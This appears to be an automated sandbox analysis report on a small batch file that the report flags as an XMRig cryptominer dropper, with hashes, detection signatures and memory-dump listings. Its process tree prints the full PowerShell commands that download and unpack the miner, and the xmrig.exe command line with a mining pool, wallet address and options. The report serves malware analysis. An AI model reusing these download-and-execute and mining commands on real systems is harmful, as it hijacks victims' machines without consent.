Analysis

  • max time kernel
    1791s
  • max time network
    1788s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    26-12-2023 09:06

General

  • Target

    tesy.bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 63 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:5044
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4488
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1080
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:5112

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1080-42-0x0000020EC8AA0000-0x0000020EC8AB0000-memory.dmp

    Filesize

    64KB

  • memory/1080-41-0x0000020EC8AA0000-0x0000020EC8AB0000-memory.dmp

    Filesize

    64KB

  • memory/1080-40-0x00007FFB5CF10000-0x00007FFB5D8FC000-memory.dmp

    Filesize

    9.9MB

  • memory/1080-66-0x0000020EC8AA0000-0x0000020EC8AB0000-memory.dmp

    Filesize

    64KB

  • memory/1080-93-0x0000020EC8B30000-0x0000020EC8B3A000-memory.dmp

    Filesize

    40KB

  • memory/1080-117-0x00007FFB5CF10000-0x00007FFB5D8FC000-memory.dmp

    Filesize

    9.9MB

  • memory/1080-80-0x0000020EC8B40000-0x0000020EC8B52000-memory.dmp

    Filesize

    72KB

  • memory/5044-10-0x0000018CFB370000-0x0000018CFB3E6000-memory.dmp

    Filesize

    472KB

  • memory/5044-7-0x0000018CFB160000-0x0000018CFB170000-memory.dmp

    Filesize

    64KB

  • memory/5044-25-0x0000018CFB160000-0x0000018CFB170000-memory.dmp

    Filesize

    64KB

  • memory/5044-9-0x0000018CFB160000-0x0000018CFB170000-memory.dmp

    Filesize

    64KB

  • memory/5044-26-0x00007FFB5CF10000-0x00007FFB5D8FC000-memory.dmp

    Filesize

    9.9MB

  • memory/5044-27-0x0000018CFB160000-0x0000018CFB170000-memory.dmp

    Filesize

    64KB

  • memory/5044-28-0x0000018CFB160000-0x0000018CFB170000-memory.dmp

    Filesize

    64KB

  • memory/5044-5-0x00007FFB5CF10000-0x00007FFB5D8FC000-memory.dmp

    Filesize

    9.9MB

  • memory/5044-4-0x0000018CFB0A0000-0x0000018CFB0C2000-memory.dmp

    Filesize

    136KB

  • memory/5044-29-0x0000018CFB160000-0x0000018CFB170000-memory.dmp

    Filesize

    64KB

  • memory/5044-34-0x00007FFB5CF10000-0x00007FFB5D8FC000-memory.dmp

    Filesize

    9.9MB

  • memory/5112-144-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-155-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-122-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-123-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-125-0x0000027B03590000-0x0000027B035B0000-memory.dmp

    Filesize

    128KB

  • memory/5112-124-0x0000027B03570000-0x0000027B03590000-memory.dmp

    Filesize

    128KB

  • memory/5112-126-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-127-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-129-0x0000027B03590000-0x0000027B035B0000-memory.dmp

    Filesize

    128KB

  • memory/5112-128-0x0000027B03570000-0x0000027B03590000-memory.dmp

    Filesize

    128KB

  • memory/5112-130-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-131-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-132-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-133-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-134-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-135-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-136-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-137-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-138-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-139-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-140-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-141-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-142-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-143-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-120-0x0000027B01C40000-0x0000027B01C60000-memory.dmp

    Filesize

    128KB

  • memory/5112-145-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-146-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-147-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-148-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-149-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-150-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-151-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-152-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-153-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-154-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-121-0x0000027B03550000-0x0000027B03570000-memory.dmp

    Filesize

    128KB

  • memory/5112-156-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-157-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-158-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-159-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-160-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-161-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-162-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-163-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-164-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-165-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-166-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-167-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-168-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-169-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-170-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-171-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-172-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-173-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-174-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-175-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-176-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-177-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-178-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-179-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-180-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-181-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-182-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-183-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-184-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-185-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-186-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-187-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB

  • memory/5112-188-0x00007FF79EB30000-0x00007FF79F633000-memory.dmp

    Filesize

    11.0MB